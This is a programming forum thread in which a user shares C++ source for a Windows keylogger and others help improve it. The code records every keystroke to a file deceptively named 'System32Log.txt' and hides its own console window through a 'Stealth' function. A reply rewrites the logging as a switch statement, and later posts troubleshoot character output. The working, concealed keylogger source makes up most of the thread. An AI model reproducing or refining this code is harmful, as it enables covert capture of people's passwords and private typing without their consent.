I've been tryin to make a keylogger to see how C++ handles keystrokes and sends them.
I've found some code online and modified it a bit but, this has limitations and isn't accurate enough (+ missing characters from non english keyboards).

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

After researching the best way would be to use SetWdinowsHookEx function (http://msdn.microsoft.com/en-us/library/ms644990%28VS.85%29.aspx) , but sadly I have no idea how to make it work.

Edited 4 Years Ago by marin.kvasina

Can I suggest that you should use a switch-case statement as well?

switch(key_stroke)
{
    case 13:
        //Add key to the log.
    break;

    case VK_TAB:
        //Add key to the log.
    break;

    case VK_SHIFT:
        //Add key to the log.
    break;

    //etc...

    default:
        //Unknown Key was pressed..
    break;
}

I did? :S

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
    char i;
    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,"System32Log.txt");
        }
    }
    system ("PAUSE");
    return 0;
}

int Save (int key_stroke, char *file)
{
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    switch (key_stroke)
    {
        case 8:          fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  break;
        case 13:         fprintf(OUTPUT_FILE, "%s", "\n");           break;
        case 32:         fprintf(OUTPUT_FILE, "%s", " ");            break;
        case VK_TAB:     fprintf(OUTPUT_FILE, "%s", "[TAB]");        break;
        case VK_SHIFT:   fprintf(OUTPUT_FILE, "%s", "[SHIFT]");      break;
        case VK_CONTROL: fprintf(OUTPUT_FILE, "%s", "[CONTROL]");    break;
        case VK_ESCAPE:  fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");     break;
        case VK_END:     fprintf(OUTPUT_FILE, "%s", "[END]");        break;
        case VK_HOME:    fprintf(OUTPUT_FILE, "%s", "[HOME]");       break;
        case VK_LEFT:    fprintf(OUTPUT_FILE, "%s", "[LEFT]");       break;
        case VK_UP:      fprintf(OUTPUT_FILE, "%s", "[UP]");         break;
        case VK_RIGHT:   fprintf(OUTPUT_FILE, "%s", "[RIGHT]");      break;
        case VK_DOWN:    fprintf(OUTPUT_FILE, "%s", "[DOWN]");       break;

        case 190:
        case 110:        fprintf(OUTPUT_FILE, "%s", ".");            break;

        default:         fprintf(OUTPUT_FILE, "%s", &key_stroke);    break;
    }

    fclose (OUTPUT_FILE);
    return 0;
}

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}

Okay I've tried that code, it's better, but i have a few things that haven't been really worked out:
What's that empty "case 190:"?
For example if you use the combination for @ (ctrl + alt +v) the output is a small boxy character next to the v, which is weird?

For example if you use the combination for @ (ctrl + alt +v) the output is a small boxy character next to the v, which is weird?

It's probably because your key inputs are not being caught in the switch case statements but are falling thru to the default:

default:         fprintf(OUTPUT_FILE, "%s", &key_stroke);    break;
This article has been dead for over six months. Start a new discussion instead.